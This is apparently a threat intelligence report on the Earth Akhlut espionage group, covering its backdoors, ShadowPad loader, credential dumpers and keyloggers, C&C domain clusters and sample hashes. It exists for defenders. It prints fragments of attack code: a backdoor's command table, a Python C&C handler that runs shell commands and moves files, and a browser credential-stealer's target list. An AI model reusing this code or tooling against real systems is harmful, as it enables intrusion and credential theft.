	MAC address
	• isAdmin
	• isVM
	referencedDomainName
	ProcessorNameString
	Total physical memory size
	vlocale info
Relation to Earth Akhlut	Found in Earth Akhlut infrastructure

Table 16 (part 2): Details of the Typehash backdoor.

Typehash is a two-stage backdoor. The first stage is a fake *oleacc.dll* file that is sideloaded into memory by abusing a legitimate and signed *eComServer.exe* file. The fake *oleacc.dll* decrypts the first stage of the typehash backdoor and injects it into the newly created *svchost.exe* process.

The first request sent to the C&C server comes with type parameter 0. This returns a XOR 0x37-encrypted payload, which is the second stage of the Typehash backdoor. The second stage gets decrypted, loaded into memory, and executed.

Request Headers	
GET /news.php?type=0&time=06:33:12 H	HTTP/1.1

Figure 18: The first network communication from the backdoor.

The second stage of the Typehash backdoor begins when it acquires the OS info, including information on the MAC address and its MD5 hash, which is computed and used as a hash value for identifying victim machines. The first request performed for this stage is one type 1 request.



Figure 19: Typehash's second stage type 1 request.

If the response to this request is a single byte '1', the backdoor gets activated. Some of the Typehash C&C servers were wrongly configured, and we noticed a file named 'on.txt' that contained the single character '1'. It is likely the PHP script answers with the content of such file, allowing the threat actor to easily disable its C&C server. Over the course of our monitoring, we noticed multiple times the C&C being off for several days/weeks.

The first POST request uploads basic information from the infected machine in the form of a JSON object. The remote IP address and closing bracket is missing in the request, but it will be appended on the server side to ensure that the JSON object is valid. Notice the 'Note' item with the campaign ID, which is hard coded in binary.



Figure 20: The headers for the POST request sent by Typehash.

"md5": "51e00a1603b8573252fbb750f18daed9", "Name": "win7-32bit","IP": "**()**","OS": "Windows 7","Domain" 'win7-32bit","Note": "0311srv","Chcp": "437","In_IP":

Figure 21: The information uploaded based on the POST request.

Finally, the regular C&C communication using a type 2 request begins.



Figure 22: C&C communication using a type 2 request.

The first letter of the received data is the command, followed by the various parameters specific to each command.

case 'c':	enum_drives
case 'd':	enum_files
case 'e':	download_file
case 'f':	shellexecute_file
case 'g':	delete_file
case 'h':	upload_file
case 'j':	enum_processes
case 'k':	kill_process
case 'l':	interactive_shell
case 'm':	stop interactive shell
case 'n':	enum_services
case 'o':	get_os_info
case 'q':	enum_files2
case 'u':	start with typel request
default :	no operation

Figure 23: The received commands and their various parameters.

-						
1	"md5":	"7d800aa483a	-	"Name":	"Srv", "IP": "	4", "OS": "Windows Server 2008 R2", "Domain": "NT AUTHORITY", "Note": "gs0229", "Chcp":
1	"md5":	"6972707Ъ4919	-	"Name":	"SRV001", "IP"	10.250", "OS": "Windows Server 2012", "Domain": "NT AUTHORITY", "Note": "20200211", "Ch
ł	"md5":	"d50f2761623d	-	"Name":	"DB","IP": "1	19", "OS": "Windows Server2003", "Domain": "NT AUTHORITY", "Note": "1012", "Chcp": "949
1	"md5":	"992dc4ac019	-	"Name":	" t01", "IP": "1	7", "OS": "Windows Server 2012", "Domain": "NT AUTHORITY", "Note": "20200211", "Chcp":
1	"md5":	"09874b4de1f	-	"Name":	","IP": "10.	S": "Windows 7", "Domain": "NT AUTHORITY", "Note": "0311srv", "Chcp": "866", "In_IP": "
1	"md5":	"e83c4477497"	-	"Name":	" r","IP": "19	","OS": "Windows 8","Domain": "NT AUTHORITY","Note": "20200211","Chcp": "866","In_I
1	"md5":	"e704b0d88e30	-	, "Name":	" 192.168.0	"Windows 7", "Domain": "NT AUTHORITY", "Note": "3.17", "Chcp": "866", "In_IP": "146.52
ł	"md5":	"02b276f8fb09	-	"Name":	" 192.168.	"Windows Server 2012", "Domain": "NT AUTHORITY", "Note": "1012", "Chcp": 427", "In_IP"
ł	"md5":	"d91a07248f8e	-	, "Name":	","IP": "192	, "OS": "Windows 7", "Domain": """, "Note": "word1223", "Chcp": "437", "In_IP":
ł	"md5":	"a753dfb33db;	-	"Name":	"C","IP": "19	31", "OS": "Windows 7", "Domain": "NT AUTHORITY", "Note": "sssss", "Chep": "437", "In_IF
ł	"md5":	"b60ccdc5838"	-	"Name":	"C","IP": "10	S": "Windows 7", "Domain": """""""""""""""""""""""""""""""""""
("md5":	"laf5b9a059b	-	"Name":	" r","IP": "19	, "OS": "Windows Server 2016", "Domain": "NT AUTHORITY", "Note": "0311srv", "Chop": "43
("md5":	"104054d8d5dd	-	"Name":	"BF45FN3", "IP"	99.106", "OS": "Windows 7", "Domain": "NT AUTHORITY", "Note": "MN0218", "Chep": "437",
	"md5":	"lca545486110	-	"Name":	","IP": "10.	S": "Windows Server 2008 R2", "Domain": "NT AUTHORITY", "Note": "MN0218", "Chcp": "437
	"md5":	"9e7064c101ad		"Name":	"IP": "192.16	S": "Windows 8", "Domain": "
("md5":	"8d464c53e59	-	"Name":	","IP": "193.	, "OS": "Windows 7", "Domain": "Warden ", "Note": "1012", "Chop": "866", "In_IP": "193.
("md5":	"07a94f21b7f1	-	, "Name":	" 169.254.1	: "Windows 7", "Domain": "NT AUTHORITY", "Note": "ru high", "Chop": "866", "In IP": "88
	"md5":	"7686d3ffe08	-	"Name":	","IP": "192	, "OS": "Windows 7", "Domain": ", "Note": "word1223", "Chcp": "437", "In_IP":
	"md5":	"1b4f97a852fe	-	"Name":	"IP": "192.16	": "Windows Server2003", "Domain": "NT AUTHORITY", "Note": "1012", "Chcp": "437", "In_I
	"md5":	"0d987e0b04f	-	"Name":	.534","IP": "	"OS": "Windows 8", "Domain": " " " " " " 1012", "Chcp": "437", "In_IP": "61.68.
("md5":	"68aeb04a31ee	-	"Name":	","IP": "193.	, "OS": "Windows 7", "Domain": "NT AUTHORITY", "Note": "1012", "Chcp": "866", "In_IP": "
("md5":	"1b4f97a852fe		"Name":	"IP": "192.16	": "Windows Server2003", "Domain": "NT_AUTHORITY", "Note": "1012", "Chcp": "437", "In_I
("md5":	"4e68e5838c5d	-	"Name":	"IP": "192.1	,"OS": "Windows 7", "Domain": ","Note": "sssss", "Chcp": "427", "In_IP": "185.
	"md5":	"434c7dd89b6l	-	"Name":	"C","IP": "19	51", "OS": "Windows 7", "Domain": " " " " " " " " Note": "wordl222", "Chcp": "437", "In_I
1	"md5":	"d41d8cd98f0	-	"Name":	","IP": "192.	,"OS": "Windows 7", "Domain": ", "Note": "3.17", "Chcp": "427", "In_IP": "50.2
1	"md5":	"d41d8cd98f00	-	"Name":	","IP": "192.	,"OS": "Windows 7","Domain": "

Figure 24: The generated file containing target information.

Dumboc

Characteristics	Details
API	• Winsock
C&C address encryption	Plain text
C&C communication encryption	• XOR 0x3F
Visible strings	 "recv_num is %d,code is %d\r\n" "10101011" "hearttime is %d,code is %d\r\n"

Table 17 (part 1): Details of the Dumboc backdoor.

Characteristics	Details
Backdoor functions	Enumerate processes
	Terminate process
	• Interactive shell
	Enumerate drives
	Enumerate files
	Upload file
	• Delete file
	• Delete folder
	Download file
	Terminate download
	Terminate upload
	• Execute file
	Traffic forwarder
Check VM	N/A
OS information collection	Computer name
	• OS name
	• IP address
	Local time
	Boot time
	Code page
Relation to Earth Akhlut	Found in Earth Akhlut infrastructure

Table 17 (part 2): Details of the Dumboc backdoor.

We named the Dumboc backdoor based on a string hard coded in the 'About' dialog. This backdoor's structure and coding style are different from other backdoors utilized by Earth Akhlut, which may indicate a different developer.



Figure 25: The 'About' Window box from the malware controller showing the 'dumboc' name.

Dumboc was discovered only very recently, so it is likely that it is one of the threat actor's latest tools.

Idles

The Idles backdoor is completely different from all the other backdoors mentioned in this section. Idles is a simple backdoor written in Python 2.7 and compiled with PyInstaller. The C&C communication is zlib-compressed and Base64-encoded. The backdoor supports command execution (CMDCMD), upload (UPFILECMD), and download (DOWNFILECMD) commands.

def	dealmsg(data):
	try:
	datalist = data.split(SEP)
	cmddata = datalist[1]
	if com == CMDCMD:
	<pre>ret = shell(cmddata)</pre>
	<pre>elif com == UPFILECMD and len(datalist) == 3:</pre>
	<pre>ret = upfile(cmddata, datalist[2])</pre>
	<pre>elif com == DOWNFILECMD:</pre>
	<pre>ret = downfile(cmddata)</pre>
	sendmsg(com, ret)
	except Exception:
	None
	e = None
	None

Figure 26: The dealmsg function for processing received commands from the C&C server.

EARTH AKHLUT'S USE OF THE SHADOWPAD MALWARE

The ShadowPad (a.k.a. PoisonPlug) malware emerged for the first time in 2017 in an incident [13] involving the exploitation of the *NetSarang* software editor that delivered compromised updates to the victims. The malware was also used in supply chain attacks, such as the *ASUS* compromise [14] of 2018. More recent attacks [15] saw ShadowPad being used to target universities in Hong Kong. All these campaigns have been attributed to Winnti/APT41.

When we started writing this report, the usage of this malware by other groups had not been reported yet – until just a few months ago, seeing a ShadowPad sample was a strong indicator of the involvement of Winnti/APT41. However, we have seen several other groups start using it – including Earth Akhlut since October 2019. Two recent publications [16, 17] discuss ShadowPad samples related to Earth Akhlut.

The sample we found is executed by running a legitimate file signed by *Microsoft*, which will sideload the malicious DLL and execute its code. On newer samples, the threat actor added some checks to verify that the DLL is loaded by the intended executable. This is probably an attempt to evade sandboxes running DLLs with the help of *rundll32.exe*.

Once these checks are passed, the DLL will decode its payload on the heap. The decoding algorithm is a custom one and involves calls to imul, add, or sub with hard-coded operands.

The payload contains anti-disassembly techniques that will prevent the disassembler from correctly parsing the code. After fixing the code with an IDAPython script, we finally landed in the 'Root' orchestrator, which allocates one memory zone for each plug-in it embeds.

We noticed that the vast majority of samples linked to Earth Akhlut loaded five plug-ins: 'Plugins', 'Config', 'Install', 'Online', and 'HTTP'. This is significantly fewer compared to other ShadowPad operations, where every sample loaded eight to 17 plug-ins.

We also noticed the 'TCP' and 'UDP' plug-ins being loaded in three samples. In such cases, the ShadowPad sample was not a DLL, and jumped directly to the code that uses anti-disassembly techniques.

ID	Name	Purpose
100	Root	Loads the different plug-ins
101	Plugins	Offers functions to other plug-ins
102	Config	Parses the encrypted configuration
103	Install	Handles the persistence of the malware and sends the first heartbeat to the C&C server
104	Online	Handles C&C communication by calling the relevant network plug-in (starting with 2xx)
200	ТСР	Handles TCP communication
201	НТТР	Handles HTTP communication
202	UDP	Handles UDP communication

Table 18: The plug-ins used by the ShadowPad samples we found.

Each plug-in has a base address and a timestamp. In the different cases we analysed, the timestamps were a few days or hours before the compilation timestamp of the different executables.

Every ShadowPad sample comes with a configuration file that contains information, including:

- ID
- Version name
- Registry key used for persistence
- Name of the registry value
- Name of the service installed for persistence
- Description of the service
- Paths to the malicious code
- C&C server (up to six)

In all the cases we analysed, the ID is a 17-character-long string, with alphanumeric characters that seem meaningless. We do not know if it was decrypted on the server side, or if it was just a random identifier.

The version number was sometimes similar to the ID or similar to the service name. In other cases, it contained some string and a date. When the version number includes a date, we verified that the date matches the time the attackers used the samples.

Version tag	Compilation timestamp
O4Z8-WLGC	2019-02-16 05:37:57
0204-x64	2019-02-16 05:38:27
GT-NewVer1030	2019-10-24 15:01:15
OZIZ-GT-x64	2019-10-24 15:02:01
20200120	2019-12-31 05:10:54
20200220	2019-12-31 05:11:45
20200309	2019-12-08 14:18:55
0326x64	2020-03-11 15:58:39

Table 19 shows the different version tags that match the later case and the compilation timestamp of the related sample. We verified that the compilation timestamp was consistent with the timestamp of the plug-ins.

Table 19: Version tag and compilation timestamps of the ShadowPad samples.

On certain occasions, we noticed a discrepancy between the date in the version number and the compilation date. While it is normal to have is a difference of a couple of days between the compilation and the operation itself, a three-month difference is much more unusual. For example, in the case of the sample tagged '20200309' (9 March, 2020), the compilation date was 8 December, 2019. This could mean the actor compiled the samples three months in advance. However, in this case, the C&C domain name was registered in February 2020, which is not consistent with such careful planning.

We believe that either the builder has a timestomping feature that would modify the compilation timestamp as well as the plug-in timestamp, or the actor uses a building environment (probably a virtual machine) that is not synchronized with a time server. We find the latter scenario more likely.

POST EXPLOITATION TOOLS

After one of the backdoors infects a machine, the threat actor utilizes a set of private or publicly available tools to perform additional tasks. Among the public tools, we include those that are based on or directly copied from various code-sharing repositories, blog tutorials, and other sources.

These additional tasks may include acquiring additional system or network information, launching privilege escalation tools and hash computational tools, and running credential dumpers, hub relaying, and keyloggers. Earth Akhlut uses DLL sideloading vulnerabilities in legitimate signed applications to load some of these tools.

Private post-exploitation tools

DomainInfo

DomainInfo is a custom information dumper named after the 'DomainInfo' string present in the PDB path. This tool seems to be proprietary to Earth Akhlut. We have seen the exact same file (same hash) used on victims in 2017 and 2019. It was uploaded to *VirusTotal* in 2015, and the PE metadata suggests the tool was compiled in 2014. This is a strong indicator that the tool is not being used on a wide scale. In fact, it is rare to find the same tool being used for a period spanning multiple years without any changes, if only to avoid detection. Before March 2019, no security solution detected the different samples we have for this tool, probably because it is in the grey zone of 'hack tools' in that it is not malicious per se.

This custom tool dumps information from the Domain controller. It uses the following Network Management APIs [18]:

- NetGetDCName
- NetApiBufferFree
- NetGroupGetUsers
- NetGroupEnum
- NetQueryDisplayInformation
- NetLocalGroupGetMembers
- NetLocalGroupEnum
- NetGetJoinInformation
- NetServerEnum
- NetUserEnum.

Running the tool will result in an output consisting of an XML file with the following content:



Figure 27: The XML file containing the information obtained from DomainInfo.

Hub relaying

The function and reason for employing the 'hub-relaying' technique is described in detail in Operation ORCA [19]. In short, this tool runs on the C&C server and listens on ports 3925 and 5688. If a threat actor connects to port 3925, then hub relaying is activated. After this, every time a connection from the victim on port 5688 is accepted, information about this connection (such as the IP address and port used) is forwarded to an application listening on port 3925. For Earth Akhlut, this setting means that losing control of the C&C server to law enforcement or researchers does not expose the actual back end logic – the C&C is simply a connection information forwarder.

Public post-exploitation tools

Most of the following post-exploitation tools were derived from a public source or proof-of-concept (PoC) code. Some of them were converted from Python code to a PE with PyInstaller.

Purpose	Comment / tool used
Local privilege escalation	CVE-2019-0803 and MS16-032 exploits
Credential dumping	gsecdump v0.7
	wdigest_extract
	LaZagne
Network shares enumeration	nbtscan 1.0.35
	Inbtscan (Python version of nbtscan)
Keylogging	Keylogger1217
Lateral movement	Eternal Blue exploits

Table 20: The public post-exploitation tools used by Earth Akhlut.

CVE-2019-0803 and MS16-032 exploits

The Win32k vulnerability CVE-2019-0803 can be abused via a privilege escalation exploit that has PoC code available on *GitHub* [20]. We have seen several obfuscated samples that exploit this specific vulnerability use execution logic that is inspired by the freely available PoC.

Another exploit used by Earth Akhlut is MS16-032 [21], a local privilege escalation exploit for CVE-2016-0099.

GSecDump v0.7

GSecDump is a popular credential dumper that is used to obtain password hashes and LSA secrets from *Windows* machines. This tool is easily found online.

Nbtscan 1.0.35

The Nbtscan tool [22] is a NetBIOS Nameserver scanner that scans for open NeTBIOS nameservers on a given range of IP addresses. This tool is used by many threat actors, usually to enumerate remote shares.

Inbtscan

The Inbtscan tool [23] is a NetBIOS scanner for Python with a code that is compiled to be executable with PyInstaller.

WDigest_extract

If the *Windows* authentication protocol WDigest is enabled, *lsass.exe* retains a copy of the user's plaintext password in memory. This tool locates and extracts these passwords. Its code is likely based on a gist code [24].

Eternal Blue

Eternal Blue is the exploit that was used for some of the most destructive cyber attacks in recent memory, such as the WannaCry ransomware attacks that crippled multiple organizations in May 2017. First leaked that very same year, it is still used to this date by various threat actors.

The exploit is based on an SMB vulnerability. The original Python code was compiled into an executable, and several versions of the exploit are available: eternalblue_exploit7, eternalblue_exploit8, and checkers, which checks if the host is vulnerable or not.

LaZagne

LaZagne [25] is an open-source tool for retrieving passwords stored on a local computer. The original Python code is compiled into an executable.

Keylogger1217

Keylogger1217 tool is a keylogger written in Python with pyHook library and compiled into an executable with PyInstaller. It captures keys as well as pastes from the clipboard when the CTRL+V key combination is pressed. Code similar to this keylogger can be found in various publicly available gists [26].

Chromium stealer

This tool is a credential stealer from various *Chromium*-based web browsers. It is written in Python and compiled with PyInstaller.

```
chromium browsers = [
    (u'7Star', u'{LOCALAPPDATA}\\7Star\\7Star\\User Data'),
    (u'amigo', u'{LOCALAPPDATA}\\Amigo\\User Data'),
    (u'brave', u'{LOCALAPPDATA}\\BraveSoftware\\Brave-Browser\\User Data'),
    (u'centbrowser', u'{LOCALAPPDATA}\\CentBrowser\\User Data'),
    (u'chedot', u'{LOCALAPPDATA}\\Chedot\\User Data'),
    (u'chrome canary', u'{LOCALAPPDATA}\\Google\\Chrome SxS\\User Data'),
    (u'chromium', u'{LOCALAPPDATA}\\Chromium\\User Data'),
    (u'coccoc', u'{LOCALAPPDATA}\\CocCoc\\Browser\\User Data'),
    (u'comodo dragon', u'{LOCALAPPDATA}\\Comodo\\Dragon\\User Data'),
    (u'elements browser', u'{LOCALAPPDATA}\\Elements Browser\\User Data'),
    (u'epic privacy browser', u'{LOCALAPPDATA}\\Epic Privacy Browser\\User Data'),
    (u'google chrome', u'{LOCALAPPDATA}\\Google\\Chrome\\User Data'),
    (u'kometa', u'{LOCALAPPDATA}\\Kometa\\User Data'),
    (u'opera', u'{APPDATA}\\Opera Software\\Opera Stable'),
    (u'orbitum', u'{LOCALAPPDATA}\\Orbitum\\User Data'),
    (u'sputnik', u'{LOCALAPPDATA}\\Sputnik\\Sputnik\\User Data'),
    (u'torch', u'{LOCALAPPDATA}\\Torch\\User Data'),
    (u'uran', u'{LOCALAPPDATA}\\uCozMedia\\Uran\\User Data'),
    (u'vivaldi', u'{LOCALAPPDATA}\\Vivaldi\\User Data'),
    (u'yandexBrowser', u'{LOCALAPPDATA}\\Yandex\\YandexBrowser\\User Data')]
```

Figure 28: List of targeted Chromium-based web browsers and the paths to their profile directories.

ANALYSIS OF EARTH AKHLUT INFRASTRUCTURE

After our long-term monitoring of the Earth Akhlut infrastructure, we were able to group the domain names into multiple clusters since we noticed overlaps in the usage of some IP addresses. While pivoting, we found multiple domains – some of which were older than 2015. In such cases, we chose not to investigate further.

One interesting observation that resulted from this approach was that clusters were linked to a particular malware family. In the case of some domains, we could not find a related sample. However, the domains still had multiple overlaps with known malicious domains. Thus, we assess there might be some malicious samples out there with such domains as their C&C servers.

Cluster 1

This cluster is linked to the following malware families:

- Shadowpad
- Typehash
- Chimaera
- Dumboc
- Bisonal 02

fackb00k2us.dynamic-dns.net
www.fackb00k2us.dynamic-dns.net
www.g00gleru.wikaba.com
g00gle_jp.dynamic-dns.net
www.g00gle_jp.dynamic-dns.net
www.g0ogle_mn.dynamic-dns.net
www.g00gle_kr.dns05.com
kavlabonline.com
help.kavlabonline.com
info.kavlabonline.com
mncoinc.com
webmail.mncoinc.com
admin.mncoinc.com
www.web.mncoinc.com
web.mncoinc.com
www.oseupdate.dns-dns.com
pop-corps.com
email_gov_mn.pop-corps.com
microsoft_update.pop-corps.com
yandex.pop-corps.com
webmail_gov_mn.pop-corps.com
www.trendupdate.dns05.com
wizardprocessor.com
www.wizardprocessor.com
yandex2us.dns04.com
www.yandex2us.dns04.com
yandex2unitedstated.dynamic-dns.net
www.yandex2unitedstated.dynamic-dns.net
yandex2unitedstated.dns05.com
www.yandex2unitedstated.dns05.com
www.yandex2unitedstated.dns04.com
www.yandex2unitedstated.2waky.com

Cluster 2

This cluster is older (2019), and is linked only to Shadowpad and Typehash samples.

The Shadowpad samples have a similar encryption algorithm as the Shadowpad samples found in Cluster 1, but we found no infrastructure overlap.

ashcrack.freetcp.com
www.ashcrack.freetcp.com
heatidc.com
account.heatidc.com
infrast.ygto.com
ftp.infrast.ygto.com
notify.serveuser.com
ftp.notify.serveuser.com
platform.freetcp.com
ftp.platform.freetcp.com
reply.ygto.com
tripmerry.com
forums.tripmerry.com

Cluster 3

This cluster is linked mainly to old Bisonal and Bisonal 02 samples, as well as to one SPM backdoor. The domains here are usually older, with some going as far back as 2016.

abulasha-banama.onedumb.com
connts.zzux.com
fdods.my03.com
www.fdods.my03.com
fdtg.dynamic-dns.net
gotomail.ddns.net
hellomydog.compress.to
hellomydog.mrface.com
indoingwulearn.com
svyaztu.indoingwulearn.com
best.indoingwulearn.com
lucylucy.ninth.biz
mosclar.mrbonus.com
mos2ioa.com
misova.mos2ioa.com
gtfd.mos2ioa.com
fose.mos2ioa.com
mvp.onedumb.com
nmbpo.com
www.nmbpo.com
nubpubwizard.jetos.com
www.nubpubwizard.jetos.com
relerc.ddns.net

shuudans.com
www.shuudans.com
most.shuudans.com
tosya.shuudans.com
stcinet.com
stcnet.ddns.net
svyaztulaya.dynamic-dns.net
tsahimt.com
www.tsahimt.com
ftp.tsahimt.com
tsowe.2waky.com
www.tsowe.2waky.com
tube.compress.to
vip.fartit.com
vip.onedumb.com
worktrs.wikaba.com
www.worktrs.wikaba.com
yandexmedia.serveuser.com

Cluster 4

These domains are mainly linked to the Dexbia malware family, but also to some old Bisonal samples. This cluster contains the oldest domains found in this research, some of them dating back to 2014. As stated previously, we did not investigate older domains, even if some links could easily be found.

acivo.serveblog.net
adoberevise.com
adobe-online.com
www.adobe-online.com
new.adobe-online.com
host.adobe-online.com
anna111.epac.to
babyhome.lflink.com
babyhome.mefound.com
bluecat.mefound.com
bluesky.jkub.com
chrgeom.system-ns.net
creepbeforeyouwalk.com
www.creepbeforeyouwalk.com
developman.ocry.com
doctor-s.dhcp.biz
doctor-s.edns.biz
finance.my-homeip.net
free2015.longmusic.com
www.free2015.longmusic.com
freemusic.zzux.com
gedadye.com

gmarket.system-ns.org
home-blog.dynssl.com
hotadobes.com
www.hotadobes.com
kakao.myonlineportal.org
lovehome.zzux.com
luckybabys.dnset.com
lucylucy.dynamic-dns.net
media.myonlineportal.net
missca.justdied.com
www.movie2014.passas.us
www.music2014.passas.us
officerevise.com
www.officerevise.com
offices-update.com
www.offices-update.com
online-offices.com
redfish.misecure.com
serviceonline.otzo.com
sdkpress.com
tcostream.dhcp.biz
tradekorea.system-ns.org
tvpot.system-ns.org
uacmoscow.com
www.uacmoscow.com
videoservice.dnset.com
webtvpot.system-ns.org
wikipedia.dnset.com

We also found two clusters for which we could not find any related malware, but that are still somehow linked to our infrastructure, typically by one or two overlaps with one of the other clusters. We believe that we either missed samples related to them, or the domains are used for another purpose that we were not aware of.

Cluster 5

For this cluster, only one old Bisonal sample was found for the chromeupdate.lflink.com domain during the Operation Orca investigation presented at VirusBulletin in 2017. The other domains have no related samples. This might mean these domains are no longer used. However, we still noticed some IP address activity in 2020 for some of them.

adobeupdata.zzux.com
www.adobeupdata.zzux.com
adobeupdate.dns04.com
www.adobeupdate.dns04.com
baekmaonline.com
www.baekmaonline.com
support.baekmaonline.com
maintenance.baekmaonline.com
beatidc.com
www.beatidc.com
www.store.beatidc.com
shop.beatidc.com

bravojack.justdied.com
www.bravojack.justdied.com
chromeupdate.lflink.com
cnnmirror.com
www.cnnmirror.com
gmailserverweb.com
www.gmailserverweb.com
havsar.com
lubny23.com
www.lubny23.com
news-serverweb.com
www.news-serverweb.com
prettyrose.justdied.com
www.prettyrose.justdied.com

Cluster 6

No samples were found related to any of these domain names, but we still found some links with the domains from other clusters. Thus, there might be possible – although weak – links to Earth Akhlut.

bbc.xxxy.info
www.bbc.xxxy.info
daummail.otzo.com
www.daummail.otzo.com
daum.xxuz.com
www.daum.xxuz.com
facegooglebook.mrbasic.com
www.facegooglebook.mrbasic.com
golfmsdn.com
msdn.ezua.com
rutrackerbit.com
organisea.rutrackerbit.com
sshdd.toythieves.com
ftp.sshdd.toythieves.com
www.sshdd.toythieves.com
tknow.squirly.info
www.tknow.squirly.info
yandex.mrface.com
www.yandex.mrface.com
yesterdayko.com
search.yesterdayko.com
manage.yesterdayko.com

CONCLUSION AND SECURITY RECOMMENDATIONS

Based on what we've observed from Earth Akhlut's operations, we see an elusive and well-organized group that makes use of a large and extensive infrastructure. Instead of drastically modifying what has worked for them, the threat actor has opted for evolution over innovation. We expect Earth Akhlut to continue to operate behind the scenes with little fanfare, evolving their tools, tactics and procedures to expand their reach further.

On the one hand, this means that the group's methods for the past few years have proven to be effective. On the other hand, there is a silver lining: the industries, businesses, and individual users who are the potential targets of Earth Akhlut can defend against the group's most common initial access technique. This includes:

- Learning how to recognize and identify spear phishing emails. This includes mistakes in the text itself, such as misspelled words and odd vocabulary, as well as seemingly out-of-context messages. If an email seems suspicious, it's better to err on the side of caution and avoid it.
- Avoiding downloading attachments or clicking links in an email unless certain that they are legitimate.
- Updating applications and systems regularly to avoid possible exploitation of vulnerabilities and potential weak points.
- Applying whitelisting procedures, blocking any unused ports, and disabling unused components if possible.
- Monitoring system traffic for any suspicious behaviour.

To guard against any potential exploitation with this or any other vulnerability, we always highly encourage that our customers apply the latest critical patches and security fixes as early as possible after release and ensure that user credentials (especially admin or root) are always carefully managed. Specifically for *Trend Micro Apex One* and *OfficeScan* products, we recommend the restriction of access to the management server to internal network or VPN users only whenever feasible. If this is not possible, for example with external workstations outside the VPN, then it is possible to set up Edge Relay [27] to help mitigate some of the risk of having the server exposed to the Internet.

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Malware	SHA256	C&C domain	Detection	TrendX detection
bisonal01	37d1bd82527d50df3246f12b931c69c2b9e- 978b593a64e89d16bfe0eb54645b0	www.amanser951.otzo. com www.dds.walshdavis. com	Backdoor.Win32. BISONAL.AC	
bisonal01	2f8a755893b419ac0ed9c9fa07bfdd0004ca3d- 6c530e1080f8dad22d798bdbe0	imbc.onthewifi.com	Backdoor.Win32. BISONAL.N	
bisonal01 dropper	72f6a54d0d09a16e6fde9800aa845c- d1866001538afb2c8f61f3606f5e13f35a		Trojan.Win32.BIS- ONAL.C	
bisonal01 dropper	6174f7e59a3a430c0fdc4bd3fc480650e- 7282805c624c73bfe588e8097ebe608		Backdoor.Win32. DEXBIA.N	
bisonal02	13aa17a1ce1dda002a189d095dd43555e74f86db- fcc14ee8d11cd503cbc71b90	harvest.my-homeip.net	Backdoor.Win32. BISONAL.N	
bisonal02	696ebf59b6bb549fd72d19b319a3e40a478c- 15cb5b6192deb0ca6be6671cde5b	gmarket.system-ns.org	Trojan.Win32.BIS- ONAL.E	
bisonal02	0d87a9f12a17c78673cede21528c400a6f0af- 281c38e70c2285182eacc18996e	kakao.my-homeip.com	Backdoor.Win32. BISONAL.AG	
bisonal02	336c378750d11e0506347eea1ef5f4e028f- 50c76eaff0c017c5ab9b9a783397c	worktrs.wikaba.com	Trojan.Win32.BIS- ONAL.E	
bisonal02	888142e80e26140559e03eff7ea14bf3b- d02e3342f4156fbe5d00451973373f7	www.nubpubwizard. jetos.com worktrs.wikaba.com	Backdoor.Win32. BISONAL.AH	Troj.Win32. TRX.XX- PE50FFF036

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bisonal02	a6f82354a64afb64f7a18f735521dfd1d63150f- 49ccdbc70787cd55114935142	www.nubpubwizard. jetos.com worktrs.wikaba.com	Backdoor.Win32. BISONAL.AG	
bisonal02	d95851cce443492529bd35f09518367ee8105c53f 98940486e926d20f29f87c3	www.nubpubwizard. jetos.com worktrs.wikaba.com	Backdoor.Win32. BISONAL.AG	
bisonal02	3031166d57ca08a17a1056d98cb51b- 367542f91359bf3a18619e69dfb4b3a657	vip.onedumb.com	Backdoor.Win32. BISONAL.AG	
bisonal02	c79f5205c15d15442e1e5e639b2315773589334c- 1035ca4f864c9c8ad2d16797	missca.justdied.com qwer.boulevardinfo- here.com	Backdoor.Win32. BISONAL.AE	Troj.Win32. TRX.XX- PE50FFF036
bisonal02	70256582e17826ef2969cb3af9824a3a897c09e- b228876e8b0ded87d050687b7	most.shuudans.com	Backdoor.Win32. BISONAL.AE	Troj.Win32. TRX.XX- PE50FFF036
bisonal02	e442cd3aa1ba0923eaafa77476cb0e670141724b- d73a5c0efacac42df303e52c	yandexmedia.serveus- er.com	Backdoor.Win32. BISONAL.AE	Troj.Win32. TRX.XX- PE50FFF036
bisonal02	e114dd78f9acafcf7e93efe1c9e68a29e4fe- 52c4830431a4aa5457927bef7c5e	www.g00gleru.wikaba. com	Backdoor.Win32. BISONAL.AD	Troj.Win32. TRX.XX- PE50FFF036
bisonal02	2ae9b53fbe872a7b0e775b92671ecf- 8c4fdd6f703e1e934288f62f8aa0eaceed	fdods.my03.com misova.mos2ioa.com	Backdoor.Win32. BISONAL.AE	Troj.Win32. TRX.XX- PE50FFF036
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bisonal02	571e2e176839effda3f236a942244ad37ba4ce- 987432cf4bd98cf82c94b98fd6	gtfd.mos2ioa.com fdtg.dynamic-dns.net	Backdoor.Win32. BISONAL.AD	Troj.Win32. TRX.XX- PE50FFF036
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bisonal02	8f0debad0c201c309eaa64edfb924725d3a95735a ab9f90fd6bd906f71718028	svyaztu.indoingwu- learn.com svyaztulaya.dynam- ic-dns.net	Backdoor.Win32. BISONAL.AD	Troj.Win32. TRX.XX- PE50FFF036
bisonal02 dropper	759d7b36d83dbf612fcacadb05c465f9c268f- 1284665c90ef749fb4d951c6c6b		Trojan.Win32.BIS- ONAL.E	
bisonal02 dropper	265b5fad52f74b2a74c655463753a50c- baa965aee3fd5701a4ec3578212ccaa9		Trojan.Win32.BIS- ONAL.F	Troj.Win32. TRX.XX- PE50FFF036
bisonal02 dropper	7b7a438dcb715d9a91b0557e442e1b9466eac- 3890d9415c4b8ad6a5d6696d9ea		Trojan.Win32.BIS- ONAL.C	Troj.Win32. TRX.XX- PE50FSX002
bisonal02 dropper	724afa3d0389abecb434185209e65637558dfe6f- 8407f5e65294eba596ec34bd		Trojan.Win32.BIS- ONAL.C	Troj.Win32. TRX.XX- PE50FFF036
bisonal02 dropper	fdc0deb4e2241b97121b6ccaf8564c9b- 996c45746974f2dee0cff8506a3960b0		Trojan.Win32.BIS- ONAL.B	Troj.Win32. TRX.XX- PE50FFF036
bisonal02 dropper	2a76dfa4d59fb7e22f4a60b8fa8f9bc67ebe- ba279bfad00c5f7f54bcb3dd75fc		Trojan.Win32.BIS- ONAL.B	Troj.Win32. TRX.XX- PE50FFF036

bisonal02 dropper	87ed7c69bfccba2e0f750c1376031d- c5e22487addacf2d1a679857e3c34ea7d5		Trojan.Win32.BIS- ONAL.B	
Chimaera backdoor v1	3ba118dbcbd0bf4631f54909cf0e1031d- 21742cd5064b1b285581a83210b538e	0906.toh.info wew.myMom.info	BKDR_BISONAL.SM- ZAEF	Troj.Win32. TRX.XX- PE50FFF036
